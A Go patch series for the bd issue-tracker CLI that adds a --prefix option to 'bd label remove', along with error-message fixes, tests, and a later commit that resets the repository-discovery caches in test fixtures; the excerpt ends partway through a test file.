remove` had no equivalent for *stripping* a + whole label family (e.g. every `pool:refused:*` reason label) — callers had + to fetch the labels themselves and issue one `label remove` per exact name. + `--prefix` resolves the matching labels per issue and removes that issue's + whole matching set in a single edit; `bd label remove --prefix + pool:refused:` replaces that fetch-then-loop. Routed through the same `issueops.Lifecycle`/ + `issueops.Reader` roles as a plain `label remove`, so it works identically + on the embedded and proxied-server (`bd serve`) storage modes. + - **`PATCH /v0/beads/issues/{id}` accepts `claim: true`**, the wire spelling of `bd update --claim`. It passes through to the same lifecycle role the direct route uses (`issueops.UpdateRequest.Claim`), so the claim and the diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 7c9261123..1cce122c0 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -853,6 +853,7 @@ go_test( "label_embedded_test.go", "label_list_all_test.go", "label_normalization_test.go", + "label_prefix_test.go", "label_proxied_integration_test.go", "label_rename_message_test.go", "label_rename_publish_failure_test.go", diff --git a/cmd/bd/label.go b/cmd/bd/label.go index a1a2a8aec..46fcfd177 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -156,7 +156,8 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope if reader != nil { details, gerr := reader.Get(ctx, issueops.GetRequest{ID: issueID}) if gerr != nil { - return HandleErrorRespectJSON("label %s: reading labels on %s: %v", operation, issueID, gerr) + return HandleErrorRespectJSON("label %s: reading labels on %s: %v", + labelOperationGerund(operation), issueID, gerr) } before = make(map[string]bool, len(details.Labels)) for _, label := range details.Labels { @@ -169,14 +170,15 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope Patch: patch, }) if uerr != nil { + gerund := labelOperationGerund(operation) return HandleErrorRespectJSON("label %s: %s label '%s' on %s: %v", - operation, operation, strings.Join(labels, "', '"), issueID, uerr) + gerund, gerund, strings.Join(labels, "', '"), issueID, uerr) } // Marked per issue rather than once after the loop: the edits land one // call at a time, so a request that failed on its third id has still // written its first two and the deferred commit has to know about them. commandDidWrite.Store(true) - outcome := labelEditOutcome{issueID: issueID, changed: make([]bool, len(labels))} + outcome := labelEditOutcome{issueID: issueID, labels: labels, changed: make([]bool, len(labels))} for i, label := range labels { switch { case !result.Changed: @@ -191,7 +193,7 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope } outcomes = append(outcomes, outcome) } - return reportLabelEdit(outcomes, labels, operation, jsonOutput) + return reportLabelEdit(outcomes, operation, jsonOutput) } // The two label edits this command performs, spelled once. They are the words @@ -205,24 +207,49 @@ const ( labelStatusUnchanged = "unchanged" ) -// labelEditOutcome is what one issue's edit did: changed[i] reports whether -// the edit's i-th label actually moved. +// labelEditOutcome is what one issue's edit did: labels is the set the edit +// named for THAT issue and changed[i] reports whether labels[i] actually +// moved. The label set is per issue rather than one shared slice because +// --prefix resolves a different set for each issue from its own current +// labels; applyLabelEdit's fixed caller-supplied set is the degenerate case +// where every outcome repeats it. type labelEditOutcome struct { issueID string + labels []string changed []bool } +// labelOperationGerund returns the present-participle form of a +// labelOperation* constant, for error messages on a failure path. The past +// tense constants above are correct on success (that's what happened) but +// read as a false success report when the same word appears next to a +// non-nil error — "label removed: ...: connection refused" claims the removal +// that in fact just failed. +func labelOperationGerund(operation string) string { + switch operation { + case labelOperationAdded: + return "adding" + case labelOperationRemoved: + return "removing" + default: + return operation + } +} + // reportLabelEdit prints what landed, in the shape both routes have always // printed it: one JSON row per (issue, label) pair, or one human line per issue // naming every label that moved. A label the edit left as it was is reported // as such — status "unchanged", and a line of its own — rather than as the // operation, so a no-op cannot be read as a confirmation (GH#5988). It is // still not an error: the exit code stays 0 so idempotent callers keep working. -func reportLabelEdit(outcomes []labelEditOutcome, labels []string, operation string, jsonOut bool) error { +func reportLabelEdit(outcomes []labelEditOutcome, operation string, jsonOut bool) error { if jsonOut { - results := make([]map[string]interface{}, 0, len(outcomes)*len(labels)) + // One row per (issue, label) pair; the hint is the one-label-per-issue + // floor rather than an exact count, since each outcome carries its own + // label set and append grows from there. + results := make([]map[string]interface{}, 0, len(outcomes)) for _, outcome := range outcomes { - for i, label := range labels { + for i, label := range outcome.labels { status := operation if !outcome.changed[i] { status = labelStatusUnchanged @@ -242,7 +269,7 @@ func reportLabelEdit(outcomes []labelEditOutcome, labels []string, operation str } for _, outcome := range outcomes { var moved, unmoved []string - for i, label := range labels { + for i, label := range outcome.labels { if outcome.changed[i] { moved = append(moved, label) } else { @@ -276,6 +303,93 @@ func labelNoun(labels []string, singular, plural string) string { return singular } +// removeLabelsByPrefix removes every label starting with prefix from each +// issue in issueIDs, through issueops.Lifecycle — the same role +// applyLabelEdit uses, so the events journal and both storage routes see this +// edit the same way they see a plain `label remove`. Unlike applyLabelEdit +// (which applies one fixed, caller-supplied label set to every issue), the +// label set here is resolved per-issue from that issue's current labels via +// issueops.Reader, since different issues may carry different prefix-matching +// labels — so the loop is one Get plus one Update per issue rather than one +// shared patch for all of them. +// +// The report goes through reportLabelEdit, the same handler the plain path +// uses, so a removal this call did not actually make is reported as +// "unchanged" rather than as a removal (GH#5988). Reimplementing the report +// here is what let the pre-review version of this function claim removals off +// its pre-read snapshot. +func removeLabelsByPrefix(ctx context.Context, issueIDs []string, prefix string, jsonOut bool) error { + reader, err := openIssueReader() + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + // Grouped per issue from the start: one LabelPatch.Remove applies every + // matching label for that issue in one Update, which is applyLabelEdit's + // "one call per issue, one patch per call" contract. issueIDs carries no + // duplicates (resolveIssueIDsForPrefix collapses them), so this is one Get + // and one Update per distinct issue named on the command line. + type prefixTarget struct { + issueID string + labels []string + } + var targets []prefixTarget + for _, issueID := range issueIDs { + details, gerr := reader.Get(ctx, issueops.GetRequest{ID: issueID}) + if gerr != nil { + return HandleErrorRespectJSON("getting labels for %s: %v", issueID, gerr) + } + if matched := labelsWithPrefix(details.Labels, prefix); len(matched) > 0 { + targets = append(targets, prefixTarget{issueID: issueID, labels: matched}) + } + } + if len(targets) == 0 { + if jsonOut { + return outputJSON([]map[string]interface{}{}) + } + fmt.Printf("No labels matching prefix '%s' found\n", prefix) + return nil + } + + lifecycle, err := openIssueLifecycle() + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + ctx, err = issueOpsContext(ctx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + outcomes := make([]labelEditOutcome, 0, len(targets)) + for _, target := range targets { + result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: actor, + IssueID: target.issueID, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: target.labels}}, + }) + if uerr != nil { + return HandleErrorRespectJSON("label removing (prefix): %s: %v", target.issueID, uerr) + } + commandDidWrite.Store(true) + // WHICH LABELS ACTUALLY MOVED, derived from the write rather than from + // the Get that chose them. Every label in target.labels was on the + // issue when it was read, so UpdateResult.Changed answers for the + // whole set at once: false means the role wrote nothing and none of + // them moved. Per-label attribution is best-effort for the reason + // applyLabelEdit states at length — the read is outside the write + // transaction — but the claim that cannot be made any more is + // "removed" for an edit that wrote nothing at all. + changed := make([]bool, len(target.labels)) + for i := range changed { + changed[i] = result.Changed + } + outcomes = append(outcomes, labelEditOutcome{ + issueID: target.issueID, + labels: target.labels, + changed: changed, + }) + } + return reportLabelEdit(outcomes, labelOperationRemoved, jsonOut) +} + // parseLabelArgs splits positional args into issue IDs and labels. The final // arg is the label spec; commas separate multiple labels ("label1,label2"). func parseLabelArgs(args []string) (issueIDs []string, labels []string) { @@ -298,6 +412,18 @@ func splitLabelArg(arg string) []string { return labels } +// labelsWithPrefix returns the subset of labels whose name starts with +// prefix, preserving input order. +func labelsWithPrefix(labels []string, prefix string) []string { + var matched []string + for _, label := range labels { + if strings.HasPrefix(label, prefix) { + matched = append(matched, label) + } + } + return matched +} + // resolveLabelIssueIDs resolves every issue-ID positional arg to the EXACT id // the role takes, failing hard on the first arg that doesn't resolve. // @@ -328,6 +454,46 @@ func resolveLabelIssueIDs(ctx context.Context, subcommand string, issueIDs []str return resolved, nil } +// resolveIssueIDsForPrefix resolves every positional arg to an issue ID for +// the --prefix form of `bd label remove`. Unlike the plain add/remove path, +// --prefix takes no trailing label argument — every positional is an issue +// ID — so a positional that fails to resolve is reported as a likely +// mixed-up label argument (e.g. a caller who reflexively kept the old +// trailing-label habit: `bd label remove bd-1 stale-label --prefix x`) +// rather than with resolveLabelIssueIDs' "pass one comma-separated argument" +// hint, which recommends exactly the label-argument syntax --prefix does not +// take and would only compound the confusion. +// +// That hint is SPECULATIVE, so it is gated on the same condition as the twin's: +// only a line carrying more than one positional can plausibly have ended with +// a stray label. A single positional that does not resolve is just a bad issue +// ID — usually a typo or a deleted issue — and blaming an argument mistake the +// caller did not make sends them looking for the wrong thing. +// +// Duplicate ids collapse. Two positionals naming the same issue (directly or +// through different resolvable forms) are one issue to remove labels from, and +// leaving the repeat in would make the caller pay a second Get and read a +// second report line for one edit. +func resolveIssueIDsForPrefix(ctx context.Context, issueIDs []string) ([]string, error) { + resolved := make([]string, 0, len(issueIDs)) + seen := make(map[string]bool, len(issueIDs)) + for _, id := range issueIDs { + fullID, err := resolveLabelTarget(ctx, id) + if err != nil { + if len(issueIDs) > 1 { + return nil, fmt.Errorf("cannot combine --prefix with label arguments: %q is not an issue ID: %w", id, err) + } + return nil, fmt.Errorf("resolving issue ID %q: %w", id, err) + } + if seen[fullID] { + continue + } + seen[fullID] = true + resolved = append(resolved, fullID) + } + return resolved, nil +} + //nolint:dupl // labelAddCmd and labelRemoveCmd are similar but serve different operations var labelAddCmd = &cobra.Command{ Use: "add [issue-id...] [label[,label...]]", @@ -352,10 +518,17 @@ var labelAddCmd = &cobra.Command{ //nolint:dupl // labelRemoveCmd and labelAddCmd are similar but serve different operations var labelRemoveCmd = &cobra.Command{ - Use: "remove [issue-id...] [label[,label...]]", - Short: "Remove one or more labels from one or more issues", - Long: "Remove labels from issues. Issue IDs come first; the final argument is the label. Pass multiple labels comma-separated: bd label remove bd-123 label1,label2", - Args: cobra.MinimumNArgs(2), + Use: "remove [issue-id...] [label[,label...]]", + Short: "Remove one or more labels from one or more issues", + Long: "Remove labels from issues. Issue IDs come first; the final argument is the label. Pass multiple labels comma-separated: bd label remove bd-123 label1,label2\n\n" + + "With --prefix, no label argument is needed: every label on the given issue(s) starting with the prefix is removed, e.g. bd label remove bd-123 --prefix pool:refused:", + Args: func(cmd *cobra.Command, args []string) error { + prefix, _ := cmd.Flags().GetString("prefix") + if prefix != "" { + return cobra.MinimumNArgs(1)(cmd, args) + } + return cobra.MinimumNArgs(2)(cmd, args) + }, SilenceUsage: true, SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { @@ -368,6 +541,14 @@ var labelRemoveCmd = &cobra.Command{ } }() + prefix, _ := cmd.Flags().GetString("prefix") + if prefix != "" { + issueIDs, err := resolveIssueIDsForPrefix(rootCtx, args) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + return removeLabelsByPrefix(rootCtx, issueIDs, prefix, jsonOutput) + } return runLabelRemove(rootCtx, args) }, } @@ -804,6 +985,8 @@ func init() { labelListCmd.ValidArgsFunction = issueIDCompletion labelPropagateCmd.ValidArgsFunction = issueIDCompletion + labelRemoveCmd.Flags().String("prefix", "", "Remove every label matching this prefix instead of an exact label (e.g., 'pool:refused:' removes all pool:refused:* labels). No label positional argument is needed when set. CAUTION: a short prefix removes every match on an issue in a single edit, including labels you may not have meant to touch (e.g. --prefix t removes both 'tier:opus' and 'test-needed') — check `bd label list ` first if unsure. State-dimension labels (e.g. 'launch:', 'scalegate:') should move via `bd set-state` instead, which this flag bypasses without its event-bead audit trail.") + labelRenameCmd.Flags().Bool("dry-run", false, "Preview the blast radius without renaming anything (merged count is a snapshot intersection, not authoritative - see --help)") labelCmd.AddCommand(labelAddCmd) diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index 9a19657b3..a7f8ab1d6 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -241,6 +241,177 @@ func TestEmbeddedLabel(t *testing.T) { } }) + t.Run("label_remove_prefix", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix remove", "--type", "task", + "--label", "pool:refused:reason-a", "--label", "pool:refused:reason-b", "--label", "needs-human") + bdLabel(t, bd, dir, "remove", issue.ID, "--prefix", "pool:refused:") + labels := bdLabelListJSON(t, bd, dir, issue.ID) + for _, l := range labels { + if strings.HasPrefix(l, "pool:refused:") { + t.Errorf("label %q should have been removed by prefix: %v", l, labels) + } + } + found := false + for _, l := range labels { + if l == "needs-human" { + found = true + } + } + if !found { + t.Errorf("expected 'needs-human' to survive: %v", labels) + } + }) + + t.Run("label_remove_prefix_no_match_is_noop", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix remove no match", "--type", "task", "--label", "keep-me") + bdLabel(t, bd, dir, "remove", issue.ID, "--prefix", "does-not-exist:") + labels := bdLabelListJSON(t, bd, dir, issue.ID) + if len(labels) != 1 || labels[0] != "keep-me" { + t.Errorf("expected only 'keep-me' to survive a no-match prefix removal: %v", labels) + } + }) + + // --prefix takes no trailing label argument (every positional is an issue + // ID), so a caller who reflexively keeps the plain-remove habit of ending + // with a label — `bd label remove stale-label --prefix x` — must get + // an explicit, unambiguous rejection rather than a confusing "could not + // resolve issue ID" error that then recommends the very label-argument + // syntax --prefix does not accept. + t.Run("label_remove_prefix_rejects_label_shaped_positional", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix remove mixed args", "--type", "task", + "--label", "pool:refused:reason-a") + out := bdLabelFail(t, bd, dir, "remove", issue.ID, "definitely-not-an-issue-id", "--prefix", "pool:refused:") + if !strings.Contains(out, "cannot combine --prefix with label arguments") { + t.Errorf("expected the --prefix + label-argument rejection message, got: %s", out) + } + // Resolution must fail before any mutation — the valid issue's labels + // must be untouched by the rejected call, not partially applied. + labels := bdLabelListJSON(t, bd, dir, issue.ID) + found := false + for _, l := range labels { + if l == "pool:refused:reason-a" { + found = true + } + } + if !found { + t.Errorf("rejected --prefix call must not remove labels from the valid issue id first: %v", labels) + } + }) + + // A LONE positional that does not resolve is just a bad issue ID, so it + // must NOT be blamed on the label-argument habit the subtest above covers: + // the speculative hint is gated on there being more than one positional, + // the same way resolveLabelIssueIDs gates its own. + t.Run("label_remove_prefix_single_bad_id_is_not_blamed_on_arguments", func(t *testing.T) { + out := bdLabelFail(t, bd, dir, "remove", "bd-definitely-absent", "--prefix", "pool:refused:") + if strings.Contains(out, "cannot combine --prefix with label arguments") { + t.Errorf("a lone unresolvable id must not be reported as an argument mistake: %s", out) + } + if !strings.Contains(out, `resolving issue ID "bd-definitely-absent"`) { + t.Errorf("expected the plain resolution error, got: %s", out) + } + }) + + // The prefix path's OUTPUT surfaces, which is where the GH#5988 + // false-confirmation class lives: it reports removals it did not make if + // the report is driven from the pre-read snapshot instead of from the + // UpdateResult. Asserting the stored labels alone cannot see that. + t.Run("label_remove_prefix_reports_json_rows", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix JSON rows", "--type", "task", + "--label", "pool:refused:reason-a", "--label", "pool:refused:reason-b", "--label", "needs-human") + rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, "--prefix", "pool:refused:") + if len(rows) != 2 { + t.Fatalf("prefix remove JSON = %v, want one row per matching label", rows) + } + got := map[interface{}]interface{}{} + for _, r := range rows { + if r["issue_id"] != issue.ID { + t.Errorf("row %v has issue_id %v, want %s", r, r["issue_id"], issue.ID) + } + got[r["label"]] = r["status"] + } + if got["pool:refused:reason-a"] != "removed" || got["pool:refused:reason-b"] != "removed" { + t.Errorf("prefix remove JSON = %v, want both matching labels status=removed", rows) + } + }) + + t.Run("label_remove_prefix_no_match_reports_empty_json", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix JSON no match", "--type", "task", "--label", "keep-me") + rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, "--prefix", "does-not-exist:") + if len(rows) != 0 { + t.Errorf("no-match prefix remove JSON = %v, want an empty array", rows) + } + }) + + // Two issues carrying DIFFERENT matching sets: the report is per issue and + // each issue's set is resolved from its own labels, so a refactor that + // shared one label set across the ids — or reused one issue's outcome for + // the other — would show up here and nowhere else. + t.Run("label_remove_prefix_two_issues", func(t *testing.T) { + both := bdCreate(t, bd, dir, "Prefix two-issue both", "--type", "task", + "--label", "pool:refused:reason-a", "--label", "pool:refused:reason-b") + one := bdCreate(t, bd, dir, "Prefix two-issue one", "--type", "task", + "--label", "pool:refused:reason-c", "--label", "needs-human") + rows := bdLabelEditJSON(t, bd, dir, "remove", both.ID, one.ID, "--prefix", "pool:refused:") + byIssue := map[interface{}][]string{} + for _, r := range rows { + if r["status"] != "removed" { + t.Errorf("row %v: want status=removed", r) + } + byIssue[r["issue_id"]] = append(byIssue[r["issue_id"]], r["label"].(string)) + } + if len(byIssue[both.ID]) != 2 || len(byIssue[one.ID]) != 1 { + t.Errorf("prefix remove over two issues = %v, want 2 rows for %s and 1 for %s", rows, both.ID, one.ID) + } + if labels := bdLabelListJSON(t, bd, dir, one.ID); len(labels) != 1 || labels[0] != "needs-human" { + t.Errorf("non-matching label on the second issue should survive: %v", labels) + } + }) + + // THE pin for the false-confirmation defect, and it needs no concurrency: + // naming the same issue twice used to produce one Update and TWO "removed" + // rows per label, because the report iterated the pre-read (issue, label) + // pairs rather than what the write returned. The ids collapse to one, so + // one edit reports one row per label — exactly the single-id result. + t.Run("label_remove_prefix_duplicate_id_reports_each_label_once", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix duplicate id", "--type", "task", + "--label", "pool:refused:reason-a", "--label", "pool:refused:reason-b", "--label", "needs-human") + rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, issue.ID, "--prefix", "pool:refused:") + if len(rows) != 2 { + t.Errorf("duplicated issue id = %v rows, want one per matching label (2), not one per (id,label) pair", rows) + } + for _, r := range rows { + if r["status"] != "removed" { + t.Errorf("row %v: want status=removed", r) + } + } + if labels := bdLabelListJSON(t, bd, dir, issue.ID); len(labels) != 1 || labels[0] != "needs-human" { + t.Errorf("labels after duplicated-id prefix remove = %v, want [needs-human]", labels) + } + }) + + // Re-running a prefix removal must not claim a second removal. This pins + // the no-match branch only: the "unchanged" arm of the shared + // reportLabelEdit needs the matched set to vanish between the Get and the + // Update, which a single caller cannot arrange, and + // label_remove_absent_reports_noop covers that arm of the handler through + // the plain path. + t.Run("label_remove_prefix_rerun_takes_no_match_branch", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Prefix rerun", "--type", "task", + "--label", "pool:refused:reason-a", "--label", "needs-human") + bdLabel(t, bd, dir, "remove", issue.ID, "--prefix", "pool:refused:") + // The prefix no longer matches anything, so the second call resolves an + // empty set and takes the no-match branch rather than reporting a + // removal. + out := bdLabel(t, bd, dir, "remove", issue.ID, "--prefix", "pool:refused:") + if strings.Contains(out, "Removed") { + t.Errorf("re-running a prefix removal claimed a second removal: %s", out) + } + if !strings.Contains(out, "No labels matching prefix 'pool:refused:' found") { + t.Errorf("expected the no-match line on re-run, got: %s", out) + } + }) + t.Run("label_remove_json", func(t *testing.T) { issue := bdCreate(t, bd, dir, "JSON rm label", "--type", "task", "--label", "jsonrm") cmd := exec.Command(bd, "label", "remove", issue.ID, "jsonrm", "--json") diff --git a/cmd/bd/label_prefix_test.go b/cmd/bd/label_prefix_test.go new file mode 100644 index 000000000..8d59049cb --- /dev/null +++ b/cmd/bd/label_prefix_test.go @@ -0,0 +1,84 @@ +package main + +import ( + "reflect" + "strings" + "testing" +) + +func TestLabelsWithPrefix(t *testing.T) { + tests := []struct { + name string + labels []string + prefix string + want []string + }{ + { + name: "matches multiple labels sharing a prefix", + labels: []string{"pool:refused:bd-cli-blast-radius-needs-human", "pool:refused:engine-rebuild-required", "needs-human"}, + prefix: "pool:refused:", + want: []string{"pool:refused:bd-cli-blast-radius-needs-human", "pool:refused:engine-rebuild-required"}, + }, + { + name: "no match returns empty", + labels: []string{"needs-human", "story:blocked"}, + prefix: "pool:refused:", + want: nil, + }, + { + name: "empty prefix matches everything", + labels: []string{"a", "b"}, + prefix: "", + want: []string{"a", "b"}, + }, + { + name: "does not match a substring that isn't a prefix", + labels: []string{"gate:passed", "needs-gate:review"}, + prefix: "gate:", + want: []string{"gate:passed"}, + }, + { + name: "empty label set returns empty", + labels: nil, + prefix: "pool:refused:", + want: nil, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := labelsWithPrefix(tt.labels, tt.prefix) + if len(got) == 0 && len(tt.want) == 0 { + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("labelsWithPrefix(%v, %q) = %v, want %v", tt.labels, tt.prefix, got, tt.want) + } + }) + } +} + +// TestLabelOperationGerund guards against the past-tense-on-failure bug a PR +// reviewer flagged on this exact code path: "label removed: ...: " reads +// as a success report when it is actually the error message for a removal +// that failed. The failure-path callers must use the gerund form instead. +func TestLabelOperationGerund(t *testing.T) { + tests := []struct { + operation string + want string + }{ + {labelOperationAdded, "adding"}, + {labelOperationRemoved, "removing"}, + {"custom", "custom"}, // unknown input passes through rather than panicking + } + for _, tt := range tests { + t.Run(tt.operation, func(t *testing.T) { + if got := labelOperationGerund(tt.operation); got != tt.want { + t.Errorf("labelOperationGerund(%q) = %q, want %q", tt.operation, got, tt.want) + } + if got := labelOperationGerund(tt.operation); strings.HasSuffix(got, "ed") { + t.Errorf("labelOperationGerund(%q) = %q, still reads as past tense", tt.operation, got) + } + }) + } +} diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index 4e694495e..be84341cc 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -83,6 +83,20 @@ func TestProxiedServerLabel(t *testing.T) { } }) + t.Run("remove_prefix", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "lp") + issue := bdProxiedCreate(t, bd, p.dir, "Prefix remove target") + bdProxiedLabel(t, bd, p.dir, "add", issue.ID, "pool:refused:reason-a,pool:refused:reason-b,needs-human") + + bdProxiedLabel(t, bd, p.dir, "remove", issue.ID, "--prefix", "pool:refused:") + + got := bdProxiedLabelListJSON(t, bd, p.dir, issue.ID) + if len(got) != 1 || got[0] != "needs-human" { + t.Fatalf("labels after remove --prefix = %v, want [needs-human]", got) + } + }) + // rename is the end-to-end regression test for the finding that // runLabelRenameProxiedServer used to fan a rename out into a per-issue // AddLabel + RemoveLabel pair (journaling label_added/label_removed) From 150a58acbc17a649e0067aaeae75256ff9cb22fc Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 1 Oct 2026 06:15:56 -0600 Subject: [PATCH 029/325] test(cli): scope repository discovery caches to fixtures (#6320) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(cli): scope workspace and Git caches together Add resetRepoCachesForTest for serial fixtures that change directories. Reset both successful and failed discoveries on entry and cleanup, and use it in the three remaining beads-only context/serve reset sites. Exercise non-repo to nested repository to non-repo discovery through both cache owners. Preserve runInDir's callback lifetime and the two original fixture repairs already owned by PR5747. Fixes #6207 Reported-by: bee-ghosttrack Bead: saa-cgh.92 Agent-Signature: unknown-model/unknown-reasoning * test(cache): leave conventional helper filename available (saa-cgh.92) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(cli): apply review fixes — one reset invariant, gazelle-synced srcs Maintainer review fixup for #6320 (iteration 1). Both minors from the review synthesis; no blocker or major was filed. Architectural Consistency (minor, both lanes): runInDir reset only the Git cache, the inverse of the leak this PR fixes — a workspace context primed by an earlier fixture survived its chdir. Extract the pair into resetRepoCaches() so one definition owns the invariant, and route both resetRepoCachesForTest and runInDir through it. Deviation from the synthesis's parenthetical "(or resetRepoCachesForTest)": calling that helper inside runInDir would move the exit reset from runInDir's own defer to a t.Cleanup at end of test, dropping the before/after guarantee its doc comment states, so the shared closure is extracted instead. The doc comment is updated to match the widened behaviour. TestRunInDirScopesWorkspaceDiscovery pins both halves. Restoring the git-only entry reset reds it at :94 ("no .beads directory found" — the finding's own observable); restoring the git-only exit reset reds it at :110 with the leaked context. In both arms the existing TestResetRepoCachesForTestScopesDiscovery stays green, so the new test covers an uncovered site rather than duplicating it. Test Evidence Quality (minor, codex): the new test file was absent from the gazelle-managed go_test srcs list, so bazel test never ran it. Ran make bazel-sync (gazelle, go_srcs.py, mod tidy) rather than hand-editing. Its entire output was three srcs lines: ours, plus two base-inherited absentees that landed in this PR's own base commit. Only the line for the file this PR adds is carried here, because shipping all three conflicts with origin/main. Measured, not assumed: git merge-tree --write-tree against origin/main puts BUILD.bazel in the conflict set with all three lines and merges it cleanly with one, while the merged tree's bd_test srcs holds the same 648 entries — including all three files — either way, since origin/main has already gazelle-synced the two base-inherited ones. The one-line form is therefore what gazelle emits at the merge target, and it leaves the base's own drift as found rather than fixing it in this PR. Validation: 32 tests covering all 22 package-main runInDir call sites pass before and after with an identical name-level PASS set; the PR's four affected tests plus the new pin are 5/5 anchored PASS; go vet, gofmt, git diff --check, golangci-lint (0 issues) and go_srcs.py --check all clean. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/context_identity_test.go | 9 +- cmd/bd/git_test_helpers.go | 31 +++++-- cmd/bd/git_test_helpers_scope_test.go | 111 ++++++++++++++++++++++++ cmd/bd/serve_registered_backend_test.go | 7 +- cmd/bd/serve_test.go | 4 +- 6 files changed, 137 insertions(+), 26 deletions(-) create mode 100644 cmd/bd/git_test_helpers_scope_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1cce122c0..c1d6dc098 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -765,6 +765,7 @@ go_test( "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", + "git_test_helpers_scope_test.go", "github_link_scope_test.go", "gitlab_integration_test.go", "gitlab_test.go", diff --git a/cmd/bd/context_identity_test.go b/cmd/bd/context_identity_test.go index 6e166d370..aa310ad18 100644 --- a/cmd/bd/context_identity_test.go +++ b/cmd/bd/context_identity_test.go @@ -11,7 +11,6 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" - "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/backends" "github.com/steveyegge/beads/internal/storage/contextinfo" @@ -84,13 +83,7 @@ func TestContextRoutesNameOneWorkspaceTheSameWay(t *testing.T) { } t.Chdir(dir) t.Setenv("BEADS_DIR", beadsDir) - // git caches the cwd's repository context process-wide; a test - // that ran earlier from a non-repo directory would otherwise make - // this fresh repo look like "not a git repository". - git.ResetCaches() - beads.ResetCaches() - t.Cleanup(beads.ResetCaches) - t.Cleanup(git.ResetCaches) + resetRepoCachesForTest(t) provider, err := contextinfo.NewContextProvider(dir, Version).ContextUseCase().GetContextInfo(t.Context()) if err != nil { diff --git a/cmd/bd/git_test_helpers.go b/cmd/bd/git_test_helpers.go index cdada0978..774697005 100644 --- a/cmd/bd/git_test_helpers.go +++ b/cmd/bd/git_test_helpers.go @@ -8,11 +8,26 @@ import ( "github.com/steveyegge/beads/internal/git" ) -// runInDir changes into dir, resets the beads and git caches before/after, and -// executes fn. It ensures tests that mutate git repositories don't leak state -// across cases. Both caches are keyed on the working directory, so a chdir -// fixture has to clear the pair going in and coming out — clearing only one -// leaves the other answering for the previous directory. +// resetRepoCaches is the single definition of this file's fixture invariant: +// the workspace and Git discovery caches are reset together, because workspace +// discovery resolves through the Git cache and would otherwise reprime from a +// previous fixture's answer. +func resetRepoCaches() { + beads.ResetCaches() + git.ResetCaches() +} + +// resetRepoCachesForTest gives a serial fixture fresh workspace and Git +// discovery, including cached failures. Call after changing its directory. +func resetRepoCachesForTest(t *testing.T) { + t.Helper() + resetRepoCaches() + t.Cleanup(resetRepoCaches) +} + +// runInDir changes into dir, resets the repository discovery caches +// before/after, and executes fn. It ensures tests that mutate git repositories +// don't leak state across cases. func runInDir(t *testing.T, dir string, fn func()) { t.Helper() origDir, err := os.Getwd() @@ -22,14 +37,12 @@ func runInDir(t *testing.T, dir string, fn func()) { if err := os.Chdir(dir); err != nil { t.Fatalf("failed to change to temp directory: %v", err) } - beads.ResetCaches() - git.ResetCaches() + resetRepoCaches() defer func() { if err := os.Chdir(origDir); err != nil { t.Fatalf("failed to restore working directory: %v", err) } - beads.ResetCaches() - git.ResetCaches() + resetRepoCaches() }() fn() } diff --git a/cmd/bd/git_test_helpers_scope_test.go b/cmd/bd/git_test_helpers_scope_test.go new file mode 100644 index 000000000..5f97fd7d6 --- /dev/null +++ b/cmd/bd/git_test_helpers_scope_test.go @@ -0,0 +1,111 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/git" +) + +func TestResetRepoCachesForTestScopesDiscovery(t *testing.T) { + t.Setenv("BEADS_DIR", "") + repo := t.TempDir() + initGitRepoAt(t, repo) + beadsDir := filepath.Join(repo, ".beads") + if err := os.Mkdir(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt"}`), 0o600); err != nil { + t.Fatal(err) + } + + t.Chdir(t.TempDir()) + resetRepoCachesForTest(t) + assertNoWorkspace := func() { + t.Helper() + if got := git.GetRepoRoot(); got != "" { + t.Fatalf("non-repository directory resolved Git root 